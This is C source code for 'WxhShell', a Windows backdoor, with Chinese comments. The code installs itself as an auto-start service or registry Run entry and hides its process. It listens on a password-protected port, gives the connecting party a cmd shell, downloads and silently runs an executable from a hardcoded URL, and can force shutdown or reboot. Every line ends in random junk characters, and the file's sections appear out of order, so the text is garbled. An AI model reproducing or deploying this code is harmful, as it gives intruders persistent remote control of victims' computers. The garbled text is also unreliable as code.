    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PAjH*5I A  
    if(Boot(SHUTDOWN)) 0e~4(2xK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q$S|LC  
    else { D14i]  
    closesocket(wsh); qAVZ&:#  
    ExitThread(0); 8Dc'"3+6  
    } -H](2}  
    break; FHyyZ{"  
    } :W}M$5|  
  // 获取shell X|pOw,"  
  case 's': { tc<HA7vpt~  
    CmdShell(wsh); )cRP6 =  
    closesocket(wsh); 1NU@k6UHl  
    ExitThread(0); }ILg_>uq[  
    break; li)shp)  
  } :}~B;s0M\  
  // 退出 [G}l;  
  case 'x': { D]5cijO6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R|t.J oP9  
    CloseIt(wsh); #7,;/rtO7  
    break; 8CGjI?j  
    } |D[4 G6&  
  // 离开 @O&;%IZMY  
  case 'q': { G+W0X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "D/\&1.&  
    closesocket(wsh); sxn^1|O;m  
    WSACleanup(); qa)Qf,`  
    exit(1); {b]V e/\  
    break; A:Kit_A  
        } y(Ck j"  
  } MN. $a9m  
  } rTYMN  
=bl6:  
  // 提示信息 -@G,Ry-\t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4X:S#z  
} P4dhP-t  
  } De:| T8&  
~_hn{Ou s  
  return; ~BD 80s:f  
} }SBpc{ch  
u+,  
// shell模块句柄 g/e2t=qP  
int CmdShell(SOCKET sock) 1usLCG>w{  
{ vvcA-k?  
STARTUPINFO si; jun$C Y4  
ZeroMemory(&si,sizeof(si)); H D{2nZT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m?pm)w  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?CUGJT  
PROCESS_INFORMATION ProcessInfo; &! MV!9$  
char cmdline[]="cmd"; <gbm 1iEe  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "1%YtV5R{  
  return 0; 0l>4Umxr{J  
} )l"py9STF  
,5HC &@  
// 自身启动模式 +{pS2I}d  
int StartFromService(void) DE_ <LN  
{ c*HWH$kB  
typedef struct 0GP\*Y8  
{ ;dE'# Kb  
  DWORD ExitStatus; tg' 2 v/  
  DWORD PebBaseAddress; "YePd * W  
  DWORD AffinityMask; SK G!DKQ  
  DWORD BasePriority; Ym5ji$!2  
  ULONG UniqueProcessId; ,f?+QV\T.  
  ULONG InheritedFromUniqueProcessId; f{eMh47 NC  
}   PROCESS_BASIC_INFORMATION; U *']7-  
k86j& .m_  
PROCNTQSIP NtQueryInformationProcess; 55#s/`gd)^  
y?@(%PTp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?0k4l8R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; lzup! `g  
&'d3Yt  
  HANDLE             hProcess; EHqcQx`K_  
  PROCESS_BASIC_INFORMATION pbi; E-J<%+  
-Ay=*c.4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^4 ?LQ[t'  
  if(NULL == hInst ) return 0; '\I!RAZ  
urA kV#d#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); i"J`$u  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &R;Cm]jt  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j$jgEtPK9=  
+_ZXzzcO<  
  if (!NtQueryInformationProcess) return 0; 8|Vm6*TY&p  
^L"ENsOs  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =UMqa;\K  
  if(!hProcess) return 0; 0s'H(qE,_  
vo JmNH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; mx;1'!'fr  
7\nR'MOZ  
  CloseHandle(hProcess); Tq*K =^  
o"-*,:Qe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); pZaOd;t  
if(hProcess==NULL) return 0; nb,+!)+  
%AnqT|\#,  
HMODULE hMod; :#&Y  
char procName[255]; ;>Q.r{P  
unsigned long cbNeeded; 8-cCWo c  
ZI/Ia$O  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0\2#(^  
~|5B   
  CloseHandle(hProcess); #<EMG|&(  
>0Gdxj]\  
if(strstr(procName,"services")) return 1; // 以服务启动 =!{ E!3>*D  
UG:S!w'  
  return 0; // 注册表启动 5`H.{4@  
} ~rICPR  
[+4/M3J%  
// 主模块 $++SF)G1]_  
int StartWxhshell(LPSTR lpCmdLine) GB\1'  
{ h#Q Sx@U6  
  SOCKET wsl; >hsvRX\_ `  
BOOL val=TRUE; yhJA{nL=  
  int port=0; QssU\@ / Q  
  struct sockaddr_in door; |\k,qVQ  
g\ q*,1  
  if(wscfg.ws_autoins) Install(); PG*:3![2  
h}knn3"S  
port=atoi(lpCmdLine); Q8>  
T(2*P5%&  
if(port<=0) port=wscfg.ws_port; W_%@nm\y  
CPt62j8  
  WSADATA data; 1b4/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #9FY;~  
nTQ&nu!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0AWOdd>.  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rIJv(&l  
  door.sin_family = AF_INET; :j}4F  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^DH*\ee  
  door.sin_port = htons(port); t+<?$I[  
fNnX{Wq  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @=G6fW:  
closesocket(wsl); GZCXm+  
return 1; 0V[`zOO(o  
} #$;i 4a  
Y `ySNC  
  if(listen(wsl,2) == INVALID_SOCKET) { E@%9u#  
closesocket(wsl); "s.]amC  
return 1; tX@G`Mr(  
} R7Z7o4jg  
  Wxhshell(wsl); }I>h<O  
  WSACleanup(); b^q8s4(   
i}E&mv'  
return 0; +fRABY5C  
$l+DkR+  
} +\/1V`  
OuuN~yC  
// 以NT服务方式启动 #[$zbZ(I>:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) dJ&f +  
{ TQ&1!~L*  
DWORD   status = 0; '%y5Dh  
  DWORD   specificError = 0xfffffff; Q$lgC v^M  
<7 R+p;y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ayK?\srw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q\]"}M 8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vn(ji=  
  serviceStatus.dwWin32ExitCode     = 0; g;mX{p_@  
  serviceStatus.dwServiceSpecificExitCode = 0; A8oTcX_  
  serviceStatus.dwCheckPoint       = 0; o<Y[GW1pg  
  serviceStatus.dwWaitHint       = 0; :HW\awv  
{;-wXzv`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >^N{  
  if (hServiceStatusHandle==0) return; &8xwR   
 3<R8_p  
status = GetLastError(); TkyP_*  
  if (status!=NO_ERROR) XSoHh-  
{ 4Mck/i2  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; t$zeB OI)  
    serviceStatus.dwCheckPoint       = 0; N.D7  
    serviceStatus.dwWaitHint       = 0; ^<OcbOn;O  
    serviceStatus.dwWin32ExitCode     = status; .4O~a  
    serviceStatus.dwServiceSpecificExitCode = specificError; "HwSW4a]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qayM 0i>>  
    return; 7I4<Dj  
  } ##r9/`A  
W:hg*0z-*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (mOL<h[)IP  
  serviceStatus.dwCheckPoint       = 0; rJ=r_v  
  serviceStatus.dwWaitHint       = 0; +L U.QI'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -Wm'@4bH  
} ]TX"BH"2  
3)0z(30  
// 处理NT服务事件,比如:启动、停止 rJKac"{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~`c(7  
{ T:=ST3#m  
switch(fdwControl) #ni:Bwtl{  
{ G5,g$yNs  
case SERVICE_CONTROL_STOP: ?ytY8`PC  
  serviceStatus.dwWin32ExitCode = 0; wT>~7$=L{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  U!O"f  
  serviceStatus.dwCheckPoint   = 0; K'\Jnn  
  serviceStatus.dwWaitHint     = 0; T]UrKj/iF  
  { ,+GS.]8<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j{&$_  
  } Bk2j|7  
  return; Xc8 XgZk  
case SERVICE_CONTROL_PAUSE: G(;R+%pu  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FaQz03N\  
  break; z0T9tN!(  
case SERVICE_CONTROL_CONTINUE: E]dc4US  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qe2@bG%2+F  
  break; twP%+/g]<  
case SERVICE_CONTROL_INTERROGATE: }Yargj_Gn  
  break; \]|(w*C  
}; <i~=-Z(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !D|c2  
} 6]NaP_\0  
h$l`)AH^  
// 标准应用程序主函数 T%]@R4z#q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) L}=t"y  
{ f<y-{.VnN$  
'_B;e=v`  
// 获取操作系统版本 ?*L{xNC#  
OsIsNt=GetOsVer(); AwtiV-w  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `R m<1  
Xf{ht%b  
  // 从命令行安装 e4LJ3y&z"  
  if(strpbrk(lpCmdLine,"iI")) Install(); p1!-|Sqq  
e:+[}I)  
  // 下载执行文件 Av>xgfX  
if(wscfg.ws_downexe) { I_5[-9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M4)Y%EPc  
  WinExec(wscfg.ws_filenam,SW_HIDE); `l?(zy:R  
} Ejt?B')aB5  
A_g\Fa[jG  
if(!OsIsNt) { K^e4w`F|  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~FnuO!C  
HideProc(); $EG9V++b3  
StartWxhshell(lpCmdLine); 9_x rw:4  
} e7r3o,!  
else 9c{T|+ ]  
  if(StartFromService()) 5;@2SY7 ,  
  // 以服务方式启动 ]ONBr(M\  
  StartServiceCtrlDispatcher(DispatchTable); F60?%gg  
else C;0VR  
  // 普通方式启动 !CUM*<iV  
  StartWxhshell(lpCmdLine); p]rV\,Yss  
{sW>J0  
return 0; I<qG{PA  
} 6 \}.l  
3}5Ya\x  
}CM#jN?(  
BVG.ZZR})  
=========================================== 2(k m]H^  
N{H#j6QW  
Yy0U2N [i  
t1ers> h  
XwIhD  
 PckAL  
" NtNCt;_R7  
d)kOW!5\  
#include <stdio.h> /^$n&gI  
#include <string.h> PQ2rNY6  
#include <windows.h> a y$CUw  
#include <winsock2.h> qRL45[ K  
#include <winsvc.h> MIY`"h0*  
#include <urlmon.h> -oi@1g @  
.UYhj8  
#pragma comment (lib, "Ws2_32.lib") =g|5VXW5  
#pragma comment (lib, "urlmon.lib") !NMiWG4R  
S2 MJb  
#define MAX_USER   100 // 最大客户端连接数 z\-/R9E/5-  
#define BUF_SOCK   200 // sock buffer Uf9L*Z'6il  
#define KEY_BUFF   255 // 输入 buffer ^t?vv;@}  
WsW]  1p  
#define REBOOT     0   // 重启 M_h8{  
#define SHUTDOWN   1   // 关机 U#`2~Qv/1  
D*'sOB(  
#define DEF_PORT   5000 // 监听端口 B\tm  
70{B/ ($  
#define REG_LEN     16   // 注册表键长度 ujf7r`;u.  
#define SVC_LEN     80   // NT服务名长度 M'JCT'(X  
N!./u(b  
// 从dll定义API hjz`0AS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T%aM~dp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [e o=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UAGh2?q2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ;Irn{O  
C=t9P#g*.  
// wxhshell配置信息 O*yA50Cn  
struct WSCFG { h0")NBRV&  
  int ws_port;         // 监听端口 Ro=dgQ0:t  
  char ws_passstr[REG_LEN]; // 口令 ?3gf)g=  
  int ws_autoins;       // 安装标记, 1=yes 0=no : . PRM+  
  char ws_regname[REG_LEN]; // 注册表键名 O7m-_#/\   
  char ws_svcname[REG_LEN]; // 服务名 EFv^uve  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y"k %Wa`*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yIg^iZD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [#%@,C  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u/ri {neP{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 6!H,(Z]j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UkcH+0o  
`A<2wd;  
}; K{:[0oIHc  
x,HD,VQR/  
// default Wxhshell configuration 55/)2B2J  
struct WSCFG wscfg={DEF_PORT, KE-0/m4yJ  
    "xuhuanlingzhe", !6hV|2aJy  
    1, & jm1  
    "Wxhshell", mV+9*or  
    "Wxhshell", lUdk^7:M  
            "WxhShell Service", v8zOY#?  
    "Wrsky Windows CmdShell Service", ^%0^DN  
    "Please Input Your Password: ", VO~%O.>  
  1, q2/kegAT  
  "http://www.wrsky.com/wxhshell.exe", }*S`1IWMj  
  "Wxhshell.exe" S~)_=4Z  
    }; j /@<=  
tJ .Ln  
// 消息定义模块 Z29LtKr  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ! F<::fN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7g:Lj,Z4L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -@@ O<M^  
char *msg_ws_ext="\n\rExit."; 53>(2 _/[r  
char *msg_ws_end="\n\rQuit."; s1tkiX{>  
char *msg_ws_boot="\n\rReboot..."; ^$]iUb{\  
char *msg_ws_poff="\n\rShutdown..."; #Jt1AV  
char *msg_ws_down="\n\rSave to "; u> =\.d <  
F$i 6  
char *msg_ws_err="\n\rErr!"; ihekON":  
char *msg_ws_ok="\n\rOK!"; +U4';[LG1C  
\-sW>LIA  
char ExeFile[MAX_PATH]; v`S ;.iD  
int nUser = 0; O$N;a9g  
HANDLE handles[MAX_USER]; ;.^! 7j  
int OsIsNt; DXQ]b)y+N  
c}s#!|E0v  
SERVICE_STATUS       serviceStatus; dH'02[;  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; y6Ez.$M  
LW#U+bv]Dq  
// 函数声明 +S'm<}"1  
int Install(void); v+o6ZNX  
int Uninstall(void); '}:(y$9.`  
int DownloadFile(char *sURL, SOCKET wsh); ].sD#~L_  
int Boot(int flag); pfw`<*e'  
void HideProc(void); /1_O5'5+v  
int GetOsVer(void); wPq9`9 #  
int Wxhshell(SOCKET wsl); Xka+1c  
void TalkWithClient(void *cs); pE%*r@p4&4  
int CmdShell(SOCKET sock); g~U<0+&yw%  
int StartFromService(void); cP\ZeG#<  
int StartWxhshell(LPSTR lpCmdLine); !tb!%8{~  
VVcli*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JJ'f\f9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y!+H9R  
<[w5M?n8  
// 数据结构和表定义 hj{)6dBX%  
SERVICE_TABLE_ENTRY DispatchTable[] = bYqv)_8  
{ ?zfm"o  
{wscfg.ws_svcname, NTServiceMain}, KK{_s=t%<  
{NULL, NULL} lM#,i\8Q  
}; QO>';ul5  
7]ySj<1  
// 自我安装 aX*9T8H/  
int Install(void) @pH6FXVGzt  
{ {&L^|X  
  char svExeFile[MAX_PATH]; Fnay{F8z  
  HKEY key; )l/ .<`|  
  strcpy(svExeFile,ExeFile); g<7Aln}Nl\  
ia-ht>F*;  
// 如果是win9x系统,修改注册表设为自启动 k~I]Y,  
if(!OsIsNt) { Jfo'iNOu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %dzO*/8cWo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (F9e.QyWb  
  RegCloseKey(key); D!ASO]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #,97 ]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |'I>Ojm  
  RegCloseKey(key); KW3<5+w]c  
  return 0; <L<^uFB  
    } An^)K  
  } Bs|Xq'1M!;  
} 1.PN_9%  
else { < Wp)Y  
2-jXj9kp`  
// 如果是NT以上系统,安装为系统服务 [9V}>kS)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =vvd)og  
if (schSCManager!=0) t0r0{:  
{ g-B{K "z  
  SC_HANDLE schService = CreateService o!U(=:*b  
  ( UFu0{rY_  
  schSCManager, r=SC bv  
  wscfg.ws_svcname, q2'}S A/  
  wscfg.ws_svcdisp, !^s -~`'\~  
  SERVICE_ALL_ACCESS, o|q5eUh=EY  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , @vXXf/  
  SERVICE_AUTO_START, ew~?&=  
  SERVICE_ERROR_NORMAL, U@CAQ?  
  svExeFile, ob'" ^LO\  
  NULL, nK)1.KVN  
  NULL, *|y$z+g/  
  NULL, WRwx[[e6z  
  NULL, Hc[@c)DH  
  NULL uqU&k@  
  ); yla- X|>  
  if (schService!=0) t_*x.{x-  
  { {QaO\{J=  
  CloseServiceHandle(schService); e+F $fQt>  
  CloseServiceHandle(schSCManager); [\Nmm4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4]$OO'  
  strcat(svExeFile,wscfg.ws_svcname); K=E+QvSG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { gat;Er  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VH<d[Mj  
  RegCloseKey(key); r!O[|h  
  return 0; !M`.(sO]  
    } kPiY|EH  
  } mEu2@3^E }  
  CloseServiceHandle(schSCManager); ]$ Nhy8-  
} i*$~uuY  
} =wW M\f`=  
`(`-S md  
return 1; JbJ!,86  
} Kf}*Ij  
=:zPT;K  
// 自我卸载 @YQ*a4`  
int Uninstall(void) HFTeG4R  
{ /#SfgcDt  
  HKEY key; 9_F&G('V{a  
LI25VDZ|iP  
if(!OsIsNt) { l6 }+,v@#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f~PS'I_r  
  RegDeleteValue(key,wscfg.ws_regname); 7R m\#  
  RegCloseKey(key); NZ&ZK@h}.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UKV<Ye|  
  RegDeleteValue(key,wscfg.ws_regname); x?lRObHK  
  RegCloseKey(key); `LLmdm 6i  
  return 0; /5z,G r  
  } TQ:5@1aT  
} %3"3V1  
} m. p'LF  
else { Lwx J:Kz.  
&|}QdbW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^#mWV  
if (schSCManager!=0) 2boyBz}=S  
{ /; /:>c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Vdefgq@<  
  if (schService!=0) Y`{62J8oy  
  { ,c$tKj5ulQ  
  if(DeleteService(schService)!=0) { ujkWVE'  
  CloseServiceHandle(schService); _b>{:H&\  
  CloseServiceHandle(schSCManager); _-TW-{7bh  
  return 0; @ S[As~9X  
  } YVv E>1z  
  CloseServiceHandle(schService); Yy 0" G  
  } @ext6cFe3<  
  CloseServiceHandle(schSCManager); r&B0 -7r  
} /kK!xe  
} q~5zv4NX  
bZ:+q1 D  
return 1; *PV7s  
} (V&d:tW  
9}a$0H h  
// 从指定url下载文件 ]\A=[T^  
int DownloadFile(char *sURL, SOCKET wsh) zVf79UrK  
{ On~KTt3Mp  
  HRESULT hr; WcS`T?Xa  
char seps[]= "/"; Zi7cp6~7  
char *token; 3**t'iWQ  
char *file; [7HBn  
char myURL[MAX_PATH]; >i  >|]  
char myFILE[MAX_PATH]; hcRe,}wJ  
_?cum ~A@  
strcpy(myURL,sURL); 8@(?E[&O>  
  token=strtok(myURL,seps); SCe$v76p#  
  while(token!=NULL) 9ZU^([@D  
  { @x}^2FE  
    file=token; rC!"<  
  token=strtok(NULL,seps); C96*,.j~'  
  } vzbGLap#  
(3D&GY!/  
GetCurrentDirectory(MAX_PATH,myFILE); PN 8#T:E  
strcat(myFILE, "\\"); d0ht*b  
strcat(myFILE, file); _->+Hjj ^  
  send(wsh,myFILE,strlen(myFILE),0); ~Js kA5h|&  
send(wsh,"...",3,0); }N(gP_?n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y/I)ECm  
  if(hr==S_OK) m%[/w wL  
return 0; AkW>*x  
else x3`JC&hF,q  
return 1; WjK[% ;Z!  
ok:L]8UN 3  
} z,E`+a;  
3)#Nc|  
// 系统电源模块 #}@8(>T  
int Boot(int flag) Ee7+ob  
{ L[ D+=  
  HANDLE hToken; 0L8fpGJ  
  TOKEN_PRIVILEGES tkp; k+?gWZ \  
GiM-8y~  
  if(OsIsNt) { 7%? bl  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FvPWS!H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +swTMR  
    tkp.PrivilegeCount = 1; czu9a"M>X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SpU|Q1Q/h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :Z2997@Y  
if(flag==REBOOT) { lN:;~;z_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3Og}_  
  return 0; ;n*|AL7(  
} sF[gjeIb  
else { ?<W|Ya  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !vJ$$o6#  
  return 0; <bo)p6S&  
} v6=%KXSF  
  } PMbZv%.,-  
  else { oOvQA W8`  
if(flag==REBOOT) { un~`|   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) u*I'c2m  
  return 0; Q8h0.(#-  
} =. \hCgq  
else { %dW ;P[0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) umq6X8K  
  return 0; T* 0;3&sA  
} Keo<#Cc?  
} hF@%k ;I  
{'wvb "b  
return 1; =fnBE`Uc  
} aZ_3@I{d`  
aN0 7\  
// win9x进程隐藏模块 >2pxl(i  
void HideProc(void) ,K\7y2/  
{ %]0?vw:;j  
`|Di?4+6%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #|Lsi`]+  
  if ( hKernel != NULL ) *'A*!=5(  
  { c?_7e9}2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1 /{~t[*.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); h6O'"  
    FreeLibrary(hKernel); !a:e=b7g  
  } 0KgP'oWvY  
V?G%-+^  
return; T!y 9v5  
} d^6-P  R_  
X-<,zRM  
// 获取操作系统版本 pKq[F*Lut  
int GetOsVer(void) _L~ 3h  
{ x=7:D  
  OSVERSIONINFO winfo; bsU$$;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SZ[?2z  
  GetVersionEx(&winfo); UxHI6,b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?K:\WW  
  return 1; 0ElEaH1z  
  else -`\^_nVC  
  return 0; YQHpW>z  
} a5 ZXrWv  
?uL-qsU  
// 客户端句柄模块 H.;}%id  
int Wxhshell(SOCKET wsl) 3ddw'b'aQ  
{ ~>9G\/u j  
  SOCKET wsh; bK0(c1*a[e  
  struct sockaddr_in client; 9,_~qWw  
  DWORD myID; &a=rJvnIO&  
8+gp"!E  
  while(nUser<MAX_USER) j?|Vx'  
{ [s]$&  
  int nSize=sizeof(client); `3VI9GmQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >}~[ew  
  if(wsh==INVALID_SOCKET) return 1; 1irSI,j%z  
]nRf%Vi8g  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 57;0,k5Gy  
if(handles[nUser]==0) 5,^DT15a4P  
  closesocket(wsh); G,?a8(  
else A_U=`M=-  
  nUser++; XtZd% #2},  
  } ibQ xL3  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j[dZ*Jr_  
]k]bLyz\J  
  return 0; 3>L5TYa  
} }MMKOr(  
\ Xh C  
// 关闭 socket )6p6<y  
void CloseIt(SOCKET wsh) Nb ~J'"  
{ b,+KXx  
closesocket(wsh); U7n#TPet  
nUser--; #>:S&R?2t  
ExitThread(0); :nb|WgEc  
} (Ytr&gh;0  
Et }%)M  
// 客户端请求句柄 K{DmMi];I  
void TalkWithClient(void *cs) S WTZ6(!oW  
{ %SIll  
z)^.ai,:0  
  SOCKET wsh=(SOCKET)cs; j~ds)dW%`&  
  char pwd[SVC_LEN]; GEVDXx>@  
  char cmd[KEY_BUFF]; 'do2n/  
char chr[1]; r`Fs"n#^-4  
int i,j; z;9D[ME#1  
3zKeN:w  
  while (nUser < MAX_USER) { 6U8esPs,  
sj/k';#g  
if(wscfg.ws_passstr) { Jv3G\9_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  C&qo$C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1U/9=b  
  //ZeroMemory(pwd,KEY_BUFF); qP;1LAX  
      i=0; RZ{O6~VH  
  while(i<SVC_LEN) { 4FYV]p8f  
[c1Gq)ht  
  // 设置超时 pl@K"PRE  
  fd_set FdRead; G?,3Zn0  
  struct timeval TimeOut; ?d?.&nt  
  FD_ZERO(&FdRead); .J @mpJdY  
  FD_SET(wsh,&FdRead); ~PyS;L}  
  TimeOut.tv_sec=8; <aaT,J8%[  
  TimeOut.tv_usec=0; .kuNn-$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ALF21e*n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ' #=n>  
EMr|#}]#s  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S`  U,  
  pwd=chr[0]; <Bn0wr8)\  
  if(chr[0]==0xd || chr[0]==0xa) { /t]1_  
  pwd=0; =EYgck;)  
  break; Y{dX[^[  
  } 7n84`|=  
  i++; I`IW^eZM  
    } Y&,}q_Z:  
t`hes $E  
  // 如果是非法用户,关闭 socket -lfDoNRhQ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \/ri|fm6l#  
} DS%]7,g]  
O[U`(A:  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @.k^ 8hc  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X8*~Cf73u  
F~rl24F  
while(1) { l{^s4  
L{IMZ+IB2|  
  ZeroMemory(cmd,KEY_BUFF); x 4LPrF1  
 ^ b5+A6?  
      // 自动支持客户端 telnet标准   Io IhQ  
  j=0; G^h:#T  
  while(j<KEY_BUFF) { (m Yi  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G!C }ULq  
  cmd[j]=chr[0]; k&5T-\q  
  if(chr[0]==0xa || chr[0]==0xd) { )n9,?F#l  
  cmd[j]=0; NA0Z~Ug>  
  break; DEkv,e  
  } havmhS)O  
  j++; =w!9:I&a0  
    } SnUR?k1  
eF7I 5k4  
  // 下载文件 7y30TU  
  if(strstr(cmd,"http://")) { wS,fj gX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7>r[.g  
  if(DownloadFile(cmd,wsh)) |"Zf0G  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c}S<<LR  
  else +C7W2!I[G2  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l+y;>21sTu  
  } ?771e:>S-  
  else { qo \9,<  
bnvY2-O6  
